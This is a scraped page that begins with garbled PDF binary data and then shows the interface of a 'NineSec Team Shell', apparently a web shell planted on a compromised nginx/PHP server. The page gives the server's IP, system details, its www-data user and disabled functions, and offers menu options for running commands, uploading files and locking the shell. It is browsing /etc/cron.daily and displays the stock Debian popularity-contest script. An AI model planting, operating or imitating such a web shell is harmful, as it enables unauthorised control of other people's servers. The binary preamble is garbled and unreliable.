%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 118.98.227.230  /  Your IP : 216.73.216.34
Web Server : nginx/1.18.0
System : Linux p3gtk 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /etc/apparmor.d/../cron.daily/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //etc/apparmor.d/../cron.daily/popularity-contest
#!/bin/sh
set -e

# don't run if this package is removed but not purged
if [ ! -f /usr/sbin/popularity-contest ]; then
	exit 0
fi

MODE="$1"

unset MAILFROM
unset MAILTO
unset MY_HOSTID
unset PARTICIPATE
unset SUBMITURLS
unset USEHTTP
unset USETOR
unset MTAOPS

TORIFY_PATH=/usr/bin/torify

torify_enabled() {
    # Return 1 to enable torify for HTTP submission, otherwise 0; exit on error
    TORSOCKS_PATH=/usr/bin/torsocks
    [ -f "$TORIFY_PATH" ] && [ -f "$TORSOCKS_PATH" ] && TOR_AVAILABLE=1

    case "$USETOR" in
        "yes")
            if [ -z $TOR_AVAILABLE ]; then
                echo "popularity-contest: USETOR is set but torify is not available." 2>&1
                echo "popularity-contest: Please install the tor and torsocks packages." 2>&1
                exit 1
            fi
            if [ "yes" != "$USEHTTP" ]; then
                echo "popularity-contest: when USETOR is set USEHTTP must be set as well" 2>&1
                exit 1
            fi
            return 0
        ;;
        "maybe")
            [ "yes" = "$USEHTTP" ] && [ ! -z $TOR_AVAILABLE ] && return 0
            return 1
        ;;
        "no")
            return 1
        ;;
    esac
}

# get configuration information
. /usr/share/popularity-contest/default.conf
. /etc/popularity-contest.conf

if test -d /etc/popularity-contest.d/; then
  for file in `run-parts --list --regex '\.conf$' /etc/popularity-contest.d/`;
  do
   . $file
  done
fi

# don't run if MAILTO address is blank, and not configured to use HTTP POST!
if [ -z "$MAILTO" ] && [ "yes" != "$USEHTTP" ]; then exit 0; fi

# don't run if PARTICIPATE is "no" or unset!
if [ "$PARTICIPATE" = "no" ] || [ -z "$PARTICIPATE" ]; then exit 0; fi

# enable torify
if torify_enabled; then
    TORIFY=$TORIFY_PATH
else
    TORIFY=''
fi


if [ -n "$HTTP_PROXY" ]; then
  export http_proxy="$HTTP_PROXY";
fi

POPCONOLD=/var/log/popularity-contest
POPCONNEW=/var/log/popularity-contest.new
POPCON="$POPCONNEW"

# Only run on the given day, to spread the load on the server a bit
if [ "$DAY" ] && [ "$DAY" != "$(date +%w)" ] ; then
	# Ensure that popcon runs at least once in the last week
	if [ -f "$POPCONOLD" ] ; then
		now=$(date +%s)
		lastrun=$(date -r $POPCONOLD +%s)
                if [ "$MODE" = "--crond" ]; then
			# 6.5 days, in seconds
			week=561600
	        else
			# 7.5 days, in seconds
			week=648000
                fi
		if [ "$(( $now - $lastrun ))" -le "$week" ]; then
			exit 0
		fi
	fi
fi

# keep old logs
cd /var/log
umask 022
savelog -c 7 popularity-contest >/dev/null

run_popcon()
{
	runuser -s /bin/sh -c "/usr/sbin/popularity-contest" nobody
}

do_sendmail()
{
	if [ -n "$MAILFROM" ]; then
		sendmail -oi $MTAOPS -f "$MAILFROM" $MAILTO
	else
		sendmail -oi $MTAOPS $MAILTO
	fi
}

# generate the popularity contest data

run_popcon > $POPCON

GPG=/usr/bin/gpg

if [ "$ENCRYPT" = "yes" ] && ! [ -x "$GPG" ]; then
  logger -t popularity-contest "encryption required but gpg is not available."
  echo "popularity-contest: encryption required but gpg is not available." 2>&1
  exit 1
fi

if [ -x "$GPG" ] && [ "$ENCRYPT" = "maybe" ] || [ "$ENCRYPT" = "yes" ]; then
  POPCONGPG="$POPCON.gpg"
  rm -f "$POPCONGPG"
  GPGHOME=`mktemp -d`
  $GPG --batch --no-options --no-default-keyring --trust-model=always \
       --homedir "$GPGHOME" --keyring $KEYRING --quiet \
       --armor -o "$POPCONGPG" -r $POPCONKEY --encrypt "$POPCON"
  rm -rf "$GPGHOME"
  POPCON="$POPCONGPG"
fi

SUBMITTED=no

# try to post the report through http POST
if [ "$SUBMITURLS" ] && [ "yes" = "$USEHTTP" ]; then
    for URL in $SUBMITURLS ; do
	if setsid $TORIFY /usr/share/popularity-contest/popcon-upload \
	    -u $URL -f $POPCON -C 2>/dev/null ; then
		SUBMITTED=yes
	else
		logger -t popularity-contest "unable to submit report to $URL."
	fi
    done
fi

# try to email the popularity contest data
# skip emailing if USETOR is set

if [ "$MODE" = "--crond" ] && [ yes != "$SUBMITTED" ] && [ yes != "$USETOR" ] && [ "$MAILTO" ]; then
    if [ -x "`which sendmail 2>/dev/null`" ]; then
	(
	    if [ -n "$MAILFROM" ]; then
	       	echo "From: <$MAILFROM>"
	    	echo "Sender: <$MAILFROM>"
	    fi
	    echo "To: $MAILTO"
	    echo "Subject: popularity-contest submission"
	    echo "MIME-Version: 1.0"
	    echo "Content-Type: text/plain"
	    echo
	    cat $POPCON
	) | do_sendmail
	SUBMITTED=yes
    else
	logger -t popularity-contest "unable to submit report using sendmail."
    fi
fi

if [ "yes" != "$SUBMITTED" ] ; then
	logger -t popularity-contest "unable to submit report."
else
	mv $POPCONNEW $POPCONOLD
fi

NineSec Team - 2022